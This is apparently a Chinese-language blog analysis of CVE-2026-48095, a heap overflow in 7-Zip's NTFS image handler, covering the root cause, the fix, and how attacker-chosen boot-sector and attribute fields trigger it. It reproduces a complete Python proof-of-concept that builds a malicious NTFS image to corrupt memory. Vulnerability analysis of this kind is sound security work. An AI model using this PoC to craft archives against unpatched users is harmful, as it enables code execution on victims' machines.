CVE-2026-48095漏洞分析
7-Zip NTFS处理器堆缓冲区溢出漏洞
参考:
https://dbugs.ptsecurity.com/vulnerability/CVE-2026-48095
https://x.com/ptdbugs/status/2059908934194872362
https://securitylab.github.com/advisories/GHSL-2026-140_7-Zip/
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2026-48095 |
| 漏洞等级 | 高危 |
| CVSS | 8.8 |
| 类型 | RCE |
| 受影响版本 | 7-Zip <= 26.00 |
漏洞原理
漏洞存在于 7-Zip 处理 NTFS 卷映像文件的模块中。
在计算 NTFS 压缩单元缓冲区大小时,使用了(UInt32)1 << (BlockSizeLog + CompressionUnit)这条语句,攻击者可以将恶意NTFS镜像中的参数设置为ClusterSizeLog=28和CompressionUnit=4,导致移位指数达到32位并触发C++未定义行为,最终使得实际分配的缓冲区仅1字节大小;但当程序后续解压数据时,会向这个过小的缓冲区持续写入最多256MB的攻击者可控数据,从而造成堆溢出并覆盖相邻内存中CInStream对象的虚函数表指针,当虚函数被调用时程序执行流便被劫持,最终实现任意代码执行。
受害者使用受影响版本的 7-Zip 打开恶意的压缩包文件(该文件可伪装成任何常见格式,甚至没有后缀),7-Zip 就会自动调用 NTFS 处理程序触发此漏洞,可能导致设备被植入恶意程序
分析7-zip源码:
GetCuSize() 用于计算 NTFS Compression Unit 的实际大小,并据此为解压缓冲区 _inBuf 分配内存。该缓冲区用于存储 LZNT1 解压后的压缩单元数据。可以看到计算公式为: (UInt32)1 << (BlockSizeLog + CompressionUnit)

在 NTFS 模块里,BlockSizeLog 和 ClusterSizeLog 实际上是同一个值的传递关系:
首先在 NTFS Header 解析时:
ClusterSizeLog = SectorSizeLog + sectorsPerClusterLog;

含义:
ClusterSize = BytesPerSector × SectorsPerCluster
ClusterSizeLog = log2(ClusterSize)然后在创建压缩流时:
ss->BlockSizeLog = clusterSizeLog;
因此:
BlockSizeLog和ClusterSizeLog二者的数值相同
通过控制 NTFS Boot Sector 中的字段,攻击者可以让程序计算出特定的ClusterSizeLog值
附:
NTFS 不直接存 ClusterSize
而是存两个参数:BytesPerSector,SectorsPerCluster
然后通过这两个参数计算出ClusterSize:
ClusterSize = BytesPerSector × SectorsPerCluster7-Zip 由于 NTFS 的值几乎总是 2 的幂:
512 = 2^91024 = 2^102048 = 2^114096 = 2^12所以源码把:ClusterSize 变为 ClusterSizeLog = log2(ClusterSize)
例如:4096 = 2^12
所以:ClusterSizeLog = 12
7-zip需要知道一个Cluster有多大,因为后面解压 NTFS 压缩数据时要申请内存。
例如:Cluster Size = 4096,CompressionUnit = 4,表示16个Cluster组成一个压缩单元,那么压缩单元大小=4096 × 16=65536,即64KB。
于是程序申请64KB缓冲区用于解压数据。
攻击手法:
BytesPerSector,SectorsPerCluster这两个字段位于 NTFS Boot Sector 中,攻击者可以构造NTFS镜像,修改NTFS元数据中BytesPerSector,SectorsPerCluster的值,从而控制ClusterSizeLog计算后的值(如ClusterSizeLog = 28)
而CompressionUnit字段来自 NTFS 的压缩属性(Attribute)字段,也可以被修改。(CompressionUnit = 4)
但是7-zip只接受CompressionUnit = 0 或 CompressionUnit = 4

而在旧版本(以26.00为例)的源码中:

也只允许ClusterSizeLog ≤ 30
因此攻击者手法为构造ClusterSizeLog = 28,CompressionUnit = 4后,
经过计算:
UInt32 GetCuSize() const{ return (UInt32)1 << (BlockSizeLog + CompressionUnit);}就会得到: 1 << 32
(UInt32)1是一个 32 位无符号整数,有效位数为0 ~ 31,而32超出了类型宽度,触发C++未定义行为,在 x86 和 x64 架构上,未定义行为导致 _inBuf 被分配为 1 字节。但当程序后续解压数据时,会向这个过小的缓冲区持续写入最多256MB的攻击者可控数据,从而造成堆溢出并覆盖相邻内存中CInStream对象的虚函数表指针,当虚函数被调用时程序执行流便被劫持,最终实现任意代码执行。
漏洞复现
创建镜像文件
构造 ClusterSizeLog = 28
NTFS文件格式: https://zh.wikipedia.org/zh-cn/NTFS

可以发现的是要构造 ClusterSizeLog = 28,仅仅依靠常规 BytesPerSector × SectorsPerCluster 乘法逻辑是无法达到的。因为 SectorsPerCluster 只有一个字节(最大 255,合法 2 的幂最高为 2^7),而 BytesPerSector是两个字节(合法 2 的幂最高为 2^15),两者相乘对应的 ClusterSizeLog 最大只能到 22(15 + 7)。
这里必须利用 NTFS 规范(以及 7-Zip 源码中对应的解析逻辑)中的一个负数移位机制。
NTFS 和 7-Zip 的大簇解析规则:
为兼容如 Windows 10 引入的 2MB 等超大簇结构,NTFS 文件系统设计了一种特殊的解析机制。当 SectorsPerCluster 字段的值达到或超过 128(即 0x80 ~ 0xFF)时,该字段不再作为常规的扇区倍数进行计算,而是被转换为一个 8 位有符号负数,用来直接表示簇大小的绝对移位量。在 7-Zip 的源码中,针对该机制的解析实现如下:

在偏移 0x0B 处,BytesPerSector 为 00 02(即 512 字节),因此 SectorSizeLog = 9。 当 p[13](即 SectorsPerCluster)的值 >=128(十六进制 0x80)时,7-Zip 采用的实际计算公式为:

将目标值 28 代入公式,得到237,对应十六进制0xED。
当写入0xED 时,v 的值显然大于0x80,代码会跳入else分支。
在else分支中,程序执行了 0x100 - v 的运算。相当于将 0xED 看作一个 8 位有符号负数(-19)的绝对值(即 19)。
之后程序执行 SectorSizeLog + 19。由于 SectorSizeLog 为 9,最终 ClusterSizeLog 正好等于 9 + 19 = 28。

构造CompressionUnit = 4
CompressionUnit 位于“压缩的 $DATA Attribute(属性类型 0x80)内部”,在 Attribute Header 后的扩展字段区域中,仅当 Flags = 0x20(compressed)时才存在。
因此直接在内存中手工构造一个 NTFS $DATA attribute blob,并直接把 CompressionUnit 填成 4
POC
生成NTFS 镜像。
来自: https://securitylab.github.com/advisories/GHSL-2026-140_7-Zip/
#!/usr/bin/env python3"""Generate a sparse NTFS image with ClusterSizeLog=28 and a compressed$DATA attribute with CompressionUnit=4 to trigger GetCuSize() UB."""import struct, os, sys
boot = bytearray(512)boot[0:3] = b'\xEB\x52\x90'boot[3:11] = b'NTFS 'struct.pack_into('<H', boot, 11, 512)boot[13] = 0xED # ClusterSizeLog = 28for i in range(14, 21): boot[i] = 0boot[21] = 0xF8struct.pack_into('<H', boot, 24, 63)struct.pack_into('<H', boot, 26, 255)struct.pack_into('<Q', boot, 40, 2 << 19) # TotalSectorsstruct.pack_into('<Q', boot, 48, 1) # MftCluster=1 -> offset 256MBboot[64] = 0xF6boot[68] = 0xF6struct.pack_into('<Q', boot, 72, 0x1234567890ABCDEF)boot[510] = 0x55; boot[511] = 0xAA
MFT_REC = 1024
def mft_rec(seq, flags, attrs, rec_num=0): r = bytearray(MFT_REC) r[0:4] = b'FILE' struct.pack_into('<H', r, 4, 0x30) # UpdateSequenceOffset struct.pack_into('<H', r, 6, 3) # UpdateSequenceSize struct.pack_into('<Q', r, 8, 0) struct.pack_into('<H', r, 16, seq) struct.pack_into('<H', r, 18, 1) struct.pack_into('<H', r, 20, 0x38) struct.pack_into('<H', r, 22, flags) bytes_in_use = (0x38 + len(attrs) + 8 + 7) & ~7 struct.pack_into('<I', r, 24, bytes_in_use) struct.pack_into('<I', r, 28, MFT_REC) struct.pack_into('<I', r, 0x2C, rec_num) r[0x38:0x38+len(attrs)] = attrs struct.pack_into('<I', r, 0x38+len(attrs), 0xFFFFFFFF) usn = 0x0001 struct.pack_into('<H', r, 0x30, usn) orig0 = struct.unpack_from('<H', r, 510)[0] orig1 = struct.unpack_from('<H', r, 1022)[0] struct.pack_into('<H', r, 0x32, orig0) struct.pack_into('<H', r, 0x34, orig1) struct.pack_into('<H', r, 510, usn) struct.pack_into('<H', r, 1022, usn) return r
def std_info(): d = bytearray(48) a = bytearray(24 + len(d)) struct.pack_into('<I', a, 0, 0x10) struct.pack_into('<I', a, 4, len(a)) a[8] = 0 struct.pack_into('<H', a, 14, 0x18) struct.pack_into('<I', a, 16, len(d)) a[24:24+len(d)] = d return a
def filename(name): nu = name.encode('utf-16-le') fn = bytearray(66 + len(nu)) struct.pack_into('<Q', fn, 0, 5) fn[64] = len(name) fn[65] = 3 fn[66:66+len(nu)] = nu raw_len = 24 + len(fn) padded_len = (raw_len + 7) & ~7 a = bytearray(padded_len) struct.pack_into('<I', a, 0, 0x30) struct.pack_into('<I', a, 4, padded_len) a[8] = 0 struct.pack_into('<H', a, 14, 0x18) struct.pack_into('<I', a, 16, len(fn)) a[24:24+len(fn)] = fn return a
def compressed_data(): rl = bytes([0x11, 0x01, 0x01, 0x00]) # 1 cluster at LCN 1 hdr_size = 0x48 sz = (hdr_size + len(rl) + 7) & ~7 a = bytearray(sz) struct.pack_into('<I', a, 0, 0x80) struct.pack_into('<I', a, 4, sz) a[8] = 1 struct.pack_into('<Q', a, 0x10, 0) # LowVcn struct.pack_into('<Q', a, 0x18, 0) # HighVcn struct.pack_into('<H', a, 0x20, hdr_size) # RunlistOffset a[0x22] = 4 # CompressionUnit = 4 cs = 1 << 28 struct.pack_into('<Q', a, 0x28, cs) # AllocatedSize struct.pack_into('<Q', a, 0x30, 100) # Size struct.pack_into('<Q', a, 0x38, 100) # InitializedSize struct.pack_into('<Q', a, 0x40, cs) # PackSize a[hdr_size:hdr_size+len(rl)] = rl return a
def mft_data_attr(num_records): rl = bytes([0x11, 0x01, 0x01, 0x00]) sz = (72 + len(rl) + 7) & ~7 a = bytearray(sz) struct.pack_into('<I', a, 0, 0x80) struct.pack_into('<I', a, 4, sz) a[8] = 1 struct.pack_into('<Q', a, 16, 0) struct.pack_into('<Q', a, 24, 0) struct.pack_into('<H', a, 32, 0x40) struct.pack_into('<H', a, 34, 0) # CompressionUnit = 0 data_size = num_records * MFT_REC struct.pack_into('<Q', a, 40, 1 << 28) struct.pack_into('<Q', a, 48, data_size) struct.pack_into('<Q', a, 56, data_size) a[0x40:0x40+len(rl)] = rl return a
num_mft_records = 7mft = mft_rec(1, 1, std_info() + mft_data_attr(num_mft_records), rec_num=0)for i in range(1, 5): mft += mft_rec(i+1, 1, std_info(), rec_num=i)mft += mft_rec(1, 3, std_info(), rec_num=5) # root dirmft += mft_rec(1, 1, std_info() + filename("test.txt") + compressed_data(), rec_num=6)
mft_off = 1 << 28 # 256 MBphy_size = 2 << 28 # 512 MBout = sys.argv[1] if len(sys.argv) > 1 else "poc_ntfs_sparse.ntfs"with open(out, 'wb') as f: f.write(boot) f.seek(mft_off) f.write(mft) f.seek(phy_size - 1) f.write(b'\x00')
print(f"Generated: {out} ({os.stat(out).st_size} bytes apparent)")修复原理
可以发现:

修复版本将 ClusterSizeLog 上限从 30 降低至 21,而CompressionUnit只等于0或4,确保了在任何情况下 BlockSizeLog + CompressionUnit 的最大值仅为 25,始终小于 32 位整数的位宽,避免了危险移位、错误内存分配以及后续堆缓冲区溢出问题。
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时







